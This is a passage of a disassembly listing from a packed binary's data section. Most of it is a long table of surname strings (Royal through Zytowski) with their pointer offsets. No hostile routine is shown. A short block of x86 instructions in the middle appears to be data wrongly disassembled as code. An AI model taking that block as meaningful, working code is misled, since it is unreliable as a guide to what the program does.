		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
; ---------------------------------------------------------------------------
		mov	al, 0F7h
		inc	edx
		add	[edi+esi*8-863FFBEh], ah
		inc	edx
		add	[eax-77FFBD09h], dl


loc_42EB41:				; CODE XREF: .packed:0042EB48j
		test	dword ptr [edx+0], offset aScudder ; "Scudder"
		js	short loc_42EB41
		inc	edx
		add	[eax-9], dh
		inc	edx
		add	[eax-9], ch
		inc	edx
		add	[eax-9], ah
		inc	edx
		add	[eax-9], bl
		inc	edx
		add	[edi+esi*8+42h], dl
		add	[edi+esi*8+42h], cl
		add	[eax-9], al
		inc	edx
		add	[eax], bh
		test	dword ptr [edx+0], offset aSeyfert ; "Seyfert"
		sub	bh, dh
		inc	edx
		add	[eax], ah
		test	dword ptr [edx+0], offset aShankland ; "Shankland"
		or	al, 0F7h
		inc	edx
		add	[edi+esi*8], al
		inc	edx
		add	ah, bh
		test	byte ptr [edx+0], 0F0h
		test	byte ptr [edx+0], 0E8h
		test	byte ptr [edx+0], 0E0h
		test	byte ptr [edx+0], 0D4h
		test	byte ptr [edx+0], 0C8h
		test	byte ptr [edx+0], 0BCh
		test	byte ptr [edx+0], 0B4h
		test	byte ptr [edx+0], 0ACh
		test	byte ptr [edx+0], 0A4h
		test	byte ptr [edx+0], 9Ch
		test	byte ptr [edx+0], 94h
		test	byte ptr [edx+0], 8Ch
		test	byte ptr [edx+0], 84h
		test	byte ptr [edx+0], 7Ch
		test	byte ptr [edx+0], 70h
		test	byte ptr [edx+0], 64h
		test	byte ptr [edx+0], 58h
		test	byte ptr [edx+0], 50h
		test	byte ptr [edx+0], 48h
		test	byte ptr [edx+0], 40h
		test	byte ptr [edx+0], 38h
		test	byte ptr [edx+0], 30h
		test	byte ptr [edx+0], 28h
		test	byte ptr [edx+0], 20h
		test	byte ptr [edx+0], 18h
		test	byte ptr [edx+0], 10h
		test	byte ptr [edx+0], 4
		test	byte ptr [edx+0], 0FCh
		cmc
		inc	edx
		add	ah, dh
		cmc
		inc	edx
		add	ah, ch
		cmc
		inc	edx
		add	al, ah
		cmc
		inc	edx
		add	ah, dl
		cmc
		inc	edx
		add	ah, cl
		cmc
		inc	edx
		add	ah, al
		cmc
		inc	edx
		add	[ebp+esi*8-0A4BFFBEh], bh
		inc	edx
		add	[eax-5FFFBD0Bh], ch
		cmc
		inc	edx
		add	[eax-73FFBD0Bh], bl
		cmc
		inc	edx
		add	[ebp+esi*8-0A83FFBEh], al
		inc	edx
		add	[ebp+esi*8+42h], dh
		add	[ebp+esi*8+42h], ch
		add	[ebp+esi*8+42h], bl
		add	[eax-0Bh], dl
		inc	edx
		add	[eax-0Bh], cl
		inc	edx
		add	ds:0F5340042h[esi*8], bh
		inc	edx
		add	ds:0F5240042h[esi*8], ch
		inc	edx
		add	ds:0F50C0042h[esi*8], dl
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: .packed:0042EEF8o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: .packed:0042EEF4o
		align 10h
aZurn		db 'Zurn',0             ; DATA XREF: .packed:0042EEF0o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: .packed:0042EEECo
aZoldak		db 'Zoldak',0           ; DATA XREF: .packed:0042EEE8o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: .packed:0042EEE4o
aZegans		db 'Zegans',0           ; DATA XREF: .packed:0042EEE0o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: .packed:0042EEDCo
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: .packed:0042EED8o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: .packed:0042EED4o
aYu		db 'Yu',0               ; DATA XREF: .packed:0042EED0o
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: .packed:0042EECCo
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: .packed:0042EEC8o
aYoffe		db 'Yoffe',0            ; DATA XREF: .packed:0042EEC4o
		align 10h
aYetiv		db 'Yetiv',0            ; DATA XREF: .packed:0042EEC0o
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: .packed:0042EEBCo
		align 10h
aYedidia	db 'Yedidia',0          ; DATA XREF: .packed:0042EEB8o
aYbarra		db 'Ybarra',0           ; DATA XREF: .packed:0042EEB4o
		align 10h
aYates		db 'Yates',0            ; DATA XREF: .packed:0042EEB0o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: .packed:0042EEACo
aYankee		db 'Yankee',0           ; DATA XREF: .packed:0042EEA8o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: .packed:0042EEA4o
		align 10h
aYacono		db 'Yacono',0           ; DATA XREF: .packed:0042EEA0o
		align 4
aVotey		db 'Votey',0            ; DATA XREF: .packed:0042EE9Co
		align 10h
aVorhaus	db 'Vorhaus',0          ; DATA XREF: .packed:0042EE98o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: .packed:0042EE94o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: .packed:0042EE90o
		align 10h
aWooden		db 'Wooden',0           ; DATA XREF: .packed:0042EE8Co
		align 4
aWoo		db 'Woo',0              ; DATA XREF: .packed:0042EE88o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: .packed:0042EE84o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: .packed:0042EE80o
		align 10h
aVoigt		db 'Voigt',0            ; DATA XREF: .packed:0042EE7Co
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: .packed:0042EE78o
aVitali		db 'Vitali',0           ; DATA XREF: .packed:0042EE74o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: .packed:0042EE70o
		align 10h
aWillstatter	db 'Willstatter',0      ; DATA XREF: .packed:0042EE6Co
aVillarreal	db 'Villarreal',0       ; DATA XREF: .packed:0042EE68o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: .packed:0042EE64o
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: .packed:0042EE60o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: .packed:0042EE5Co
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: .packed:0042EE58o
aWilder		db 'Wilder',0           ; DATA XREF: .packed:0042EE54o
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: .packed:0042EE50o
aViens		db 'Viens',0            ; DATA XREF: .packed:0042EE4Co
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: .packed:0042EE48o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: .packed:0042EE44o
aViano		db 'Viano',0            ; DATA XREF: .packed:0042EE40o
		align 10h
aViana		db 'Viana',0            ; DATA XREF: .packed:0042EE3Co
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: .packed:0042EE38o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: .packed:0042EE34o
		align 4
aWhite		db 'White',0            ; DATA XREF: .packed:0042EE30o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: .packed:0042EE2Co
aWhately	db 'Whately',0          ; DATA XREF: .packed:0042EE28o
aWetzel		db 'Wetzel',0           ; DATA XREF: .packed:0042EE24o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: .packed:0042EE20o
aVerghese	db 'Verghese',0         ; DATA XREF: .packed:0042EE1Co
		align 10h
aVenne		db 'Venne',0            ; DATA XREF: .packed:0042EE18o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: .packed:0042EE14o
aWelsh		db 'Welsh',0            ; DATA XREF: .packed:0042EE10o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: .packed:0042EE0Co
		align 10h
aVelasquez	db 'Velasquez',0        ; DATA XREF: .packed:0042EE08o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: .packed:0042EE04o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: .packed:0042EE00o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: .packed:0042EDFCo
		align 10h
aWeingarten	db 'Weingarten',0       ; DATA XREF: .packed:0042EDF8o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: .packed:0042EDF4o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: .packed:0042EDF0o
		align 10h
aVasquez	db 'Vasquez',0          ; DATA XREF: .packed:0042EDECo
aWasowska	db 'Wasowska',0         ; DATA XREF: .packed:0042EDE8o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: .packed:0042EDE4o
		align 10h
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: .packed:0042EDE0o
		align 10h
aVandenberg	db 'Vandenberg',0       ; DATA XREF: .packed:0042EDDCo
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: .packed:0042EDD8o
aVanallen	db 'vanAllen',0         ; DATA XREF: .packed:0042EDD4o
		align 10h
aWalter		db 'Walter',0           ; DATA XREF: .packed:0042EDD0o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: .packed:0042EDCCo
		align 4
aWales		db 'Wales',0            ; DATA XREF: .packed:0042EDC8o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: .packed:0042EDC4o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: .packed:0042EDC0o
aWaite		db 'Waite',0            ; DATA XREF: .packed:0042EDBCo
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: .packed:0042EDB8o
		align 10h
aUzuner		db 'Uzuner',0           ; DATA XREF: .packed:0042EDB4o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: .packed:0042EDB0o
		align 10h
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: .packed:0042EDACo
		align 10h
aUrban		db 'Urban',0            ; DATA XREF: .packed:0042EDA8o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: .packed:0042EDA4o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: .packed:0042EDA0o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: .packed:0042ED9Co
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: .packed:0042ED98o
		align 10h
aTwells		db 'Twells',0           ; DATA XREF: .packed:0042ED94o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: .packed:0042ED90o
		align 10h
aTurek		db 'Turek',0            ; DATA XREF: .packed:0042ED8Co
		align 4
aTurano		db 'Turano',0           ; DATA XREF: .packed:0042ED88o
		align 10h
aTukan		db 'Tukan',0            ; DATA XREF: .packed:0042ED84o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: .packed:0042ED80o
		align 10h
aTuck		db 'Tuck',0             ; DATA XREF: .packed:0042ED7Co
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: .packed:0042ED78o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: .packed:0042ED74o
		align 10h
aTsiatis	db 'Tsiatis',0          ; DATA XREF: .packed:0042ED70o
aTruss		db 'Truss',0            ; DATA XREF: .packed:0042ED6Co
		align 10h
aTroy		db 'Troy',0             ; DATA XREF: .packed:0042ED68o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: .packed:0042ED64o
aTringali	db 'Tringali',0         ; DATA XREF: .packed:0042ED60o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: .packed:0042ED5Co
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: .packed:0042ED58o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: .packed:0042ED54o
		align 4
aToye		db 'Toye',0             ; DATA XREF: .packed:0042ED50o
		align 10h
aTowler		db 'Towler',0           ; DATA XREF: .packed:0042ED4Co
		align 4
aTorske		db 'Torske',0           ; DATA XREF: .packed:0042ED48o
		align 10h
aTorresi	db 'Torresi',0          ; DATA XREF: .packed:0042ED44o
aTopulos	db 'Topulos',0          ; DATA XREF: .packed:0042ED40o
aToomer		db 'Toomer',0           ; DATA XREF: .packed:0042ED3Co
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: .packed:0042ED38o
aTolman		db 'Tolman',0           ; DATA XREF: .packed:0042ED34o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: .packed:0042ED30o
		align 10h
aTollestrup	db 'Tollestrup',0       ; DATA XREF: .packed:0042ED2Co
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: .packed:0042ED28o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: .packed:0042ED24o
aTill		db 'Till',0             ; DATA XREF: .packed:0042ED20o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: .packed:0042ED1Co
aThroop		db 'Throop',0           ; DATA XREF: .packed:0042ED18o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: .packed:0042ED14o
aThisted	db 'Thisted',0          ; DATA XREF: .packed:0042ED10o
aThibault	db 'Thibault',0         ; DATA XREF: .packed:0042ED0Co
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: .packed:0042ED08o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: .packed:0042ED04o
		align 4
aThan		db 'Than',0             ; DATA XREF: .packed:0042ED00o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: .packed:0042ECFCo
		align 10h
aTenney		db 'Tenney',0           ; DATA XREF: .packed:0042ECF8o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: .packed:0042ECF4o
		align 10h
aTemes		db 'Temes',0            ; DATA XREF: .packed:0042ECF0o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: .packed:0042ECECo
		align 10h
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: .packed:0042ECE8o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: .packed:0042ECE4o
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: .packed:0042ECE0o
aTatar		db 'Tatar',0            ; DATA XREF: .packed:0042ECDCo
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: .packed:0042ECD8o
		align 10h
aTandler	db 'Tandler',0          ; DATA XREF: .packed:0042ECD4o
aTambiah	db 'Tambiah',0          ; DATA XREF: .packed:0042ECD0o
aTalaugon	db 'Talaugon',0         ; DATA XREF: .packed:0042ECCCo
		align 4
aTai		db 'Tai',0              ; DATA XREF: .packed:0042ECC8o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: .packed:0042ECC4o
aSwindle	db 'Swindle',0          ; DATA XREF: .packed:0042ECC0o
aSweetser	db 'Sweetser',0         ; DATA XREF: .packed:0042ECBCo
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: .packed:0042ECB8o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: .packed:0042ECB4o
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: .packed:0042ECB0o
aSumner		db 'Sumner',0           ; DATA XREF: .packed:0042ECACo
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: .packed:0042ECA8o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: .packed:0042ECA4o
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: .packed:0042ECA0o
aStrauch	db 'Strauch',0          ; DATA XREF: .packed:0042EC9Co
aStrange	db 'Strange',0          ; DATA XREF: .packed:0042EC98o
aStott		db 'Stott',0            ; DATA XREF: .packed:0042EC94o
		align 4
aStorer		db 'Storer',0           ; DATA XREF: .packed:0042EC90o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: .packed:0042EC8Co
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: .packed:0042EC88o
aStockwell	db 'Stockwell',0        ; DATA XREF: .packed:0042EC84o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: .packed:0042EC80o
		align 4
aStock		db 'Stock',0            ; DATA XREF: .packed:0042EC7Co
		align 10h
aStillwell	db 'Stillwell',0        ; DATA XREF: .packed:0042EC78o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: .packed:0042EC74o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: .packed:0042EC70o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: .packed:0042EC6Co
aStephanian	db 'Stephanian',0       ; DATA XREF: .packed:0042EC68o
		align 10h
aSteiner	db 'Steiner',0          ; DATA XREF: .packed:0042EC64o
aStefani	db 'Stefani',0          ; DATA XREF: .packed:0042EC60o
aStatlender	db 'Statlender',0       ; DATA XREF: .packed:0042EC5Co
		align 4
aStates		db 'States',0
		align 4
aStassinopolus	db 'Stassinopolus',0
		align 4
aStang		db 'Stang',0
		align 4
aStam		db 'Stam',0
		align 4
aStalvey	db 'Stalvey',0
aStmartin	db 'StMartin',0
		align 4
aSpinrad	db 'Spinrad',0
aSpiliotis	db 'Spiliotis',0
		align 4
aSpiegelhalter	db 'Spiegelhalter',0
		align 4
aSpicer		db 'Spicer',0
		align 4
aSperber	db 'Sperber',0
aSpence		db 'Spence',0
		align 4
aSpeizer	db 'Speizer',0
aSpaulding	db 'Spaulding',0
		align 4
aSparrow	db 'Sparrow',0
aSpanier	db 'Spanier',0
aSoultanian	db 'Soultanian',0
		align 4
aSoule		db 'Soule',0
		align 4
aSoukup		db 'Soukup',0
		align 4
aSottak		db 'Sottak',0
		align 4
aSorg		db 'Sorg',0
		align 4
aSorabella	db 'Sorabella',0
		align 10h
aSommariva	db 'Sommariva',0
		align 4
aSomers		db 'Somers',0
		align 4
aSolon		db 'Solon',0
		align 4
aSocolow	db 'Socolow',0
aSnodgrass	db 'Snodgrass',0
		align 10h
aSniffen	db 'Sniffen',0
aSmilow		db 'Smilow',0
		align 10h
aSlowe		db 'Slowe',0
		align 4
aSloan		db 'Sloan',0
		align 10h
aSkoda		db 'Skoda',0
		align 4
aSkerry		db 'Skerry',0
		align 10h
aSkane		db 'Skane',0
		align 4
aSites		db 'Sites',0
		align 10h
aSirilli	db 'Sirilli',0
aSinsabaugh	db 'Sinsabaugh',0
		align 4
aSilvetti	db 'Silvetti',0
		align 10h
aSilverman	db 'Silverman',0
		align 4
aSigna		db 'Signa',0
		align 4
aSigini		db 'Sigini',0
		align 4
aSigalot	db 'Sigalot',0
aSiesto		db 'Siesto',0
		align 4
aShimon		db 'Shimon',0
		align 4
aShibata	db 'Shibata',0
aShia		db 'Shia',0
		align 4
aShesko		db 'Shesko',0
		align 4
aShepstone	db 'Shepstone',0
		align 4
aSheppard	db 'Sheppard',0
		align 4
aShepherd	db 'Shepherd',0
		align 10h
aSheats		db 'Sheats',0
		align 4
aShea		db 'Shea',0
		align 10h
aShavelson	db 'Shavelson',0
		align 4
aShatrov	db 'Shatrov',0
aShar		db 'Shar',0
		align 4
aShanley	db 'Shanley',0
aShankland	db 'Shankland',0        ; DATA XREF: .packed:0042EB75o
		align 10h
aShakis		db 'Shakis',0
		align 4
aShaikh		db 'Shaikh',0
		align 10h
aSeyfert	db 'Seyfert',0          ; DATA XREF: .packed:0042EB69o
aSexton		db 'Sexton',0
		align 10h
aSeterdahl	db 'Seterdahl',0
		align 4
aSennett	db 'Sennett',0
aSen		db 'Sen',0
aSelvage	db 'Selvage',0
aSekler		db 'Sekler',0
		align 4
aSegal		db 'Segal',0
		align 10h
aSeeber		db 'Seeber',0
		align 4
aSeaton		db 'Seaton',0
		align 10h
aScudder	db 'Scudder',0          ; DATA XREF: .packed:loc_42EB41o
aScovel		db 'Scovel',0
		align 10h
aSchwickrath	db 'Schwickrath',0
aSchwan		db 'Schwan',0
		align 4
aSchuyler	db 'Schuyler',0
		align 10h
aSchutte	db 'Schutte',0
aSchuman	db 'Schuman',0          ; DATA XREF: .packed:0042EB2Co
aSchossberger	db 'Schossberger',0     ; DATA XREF: .packed:0042EB28o
		align 10h
aSchmitt	db 'Schmitt',0          ; DATA XREF: .packed:0042EB24o
aSchilling	db 'Schilling',0        ; DATA XREF: .packed:0042EB20o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: .packed:0042EB1Co
		align 10h
aSchiano	db 'Schiano',0          ; DATA XREF: .packed:0042EB18o
aScheiner	db 'Scheiner',0         ; DATA XREF: .packed:0042EB14o
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: .packed:0042EB10o
aScharf		db 'Scharf',0           ; DATA XREF: .packed:0042EB0Co
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: .packed:0042EB08o
		align 10h
aScarponi	db 'Scarponi',0         ; DATA XREF: .packed:0042EB04o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: .packed:0042EB00o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: .packed:0042EAFCo
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: .packed:0042EAF8o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: .packed:0042EAF4o
		align 4
aSatin		db 'Satin',0            ; DATA XREF: .packed:0042EAF0o
		align 4
aSase		db 'Sase',0             ; DATA XREF: .packed:0042EAECo
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: .packed:0042EAE8o
aSarin		db 'Sarin',0            ; DATA XREF: .packed:0042EAE4o
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: .packed:0042EAE0o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: .packed:0042EADCo
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: .packed:0042EAD8o
aSamson		db 'Samson',0           ; DATA XREF: .packed:0042EAD4o
		align 4
aSali		db 'Sali',0             ; DATA XREF: .packed:0042EAD0o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: .packed:0042EACCo
		align 4
aSafire		db 'Safire',0           ; DATA XREF: .packed:0042EAC8o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: .packed:0042EAC4o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: .packed:0042EAC0o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: .packed:0042EABCo
aRush		db 'Rush',0             ; DATA XREF: .packed:0042EAB8o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: .packed:0042EAB4o
		align 10h
aRuderman	db 'Ruderman',0         ; DATA XREF: .packed:0042EAB0o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: .packed:0042EAACo
		align 4
aRu		db 'Ru',0               ; DATA XREF: .packed:0042EAA8o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: .packed:0042EAA4o
		align 10h
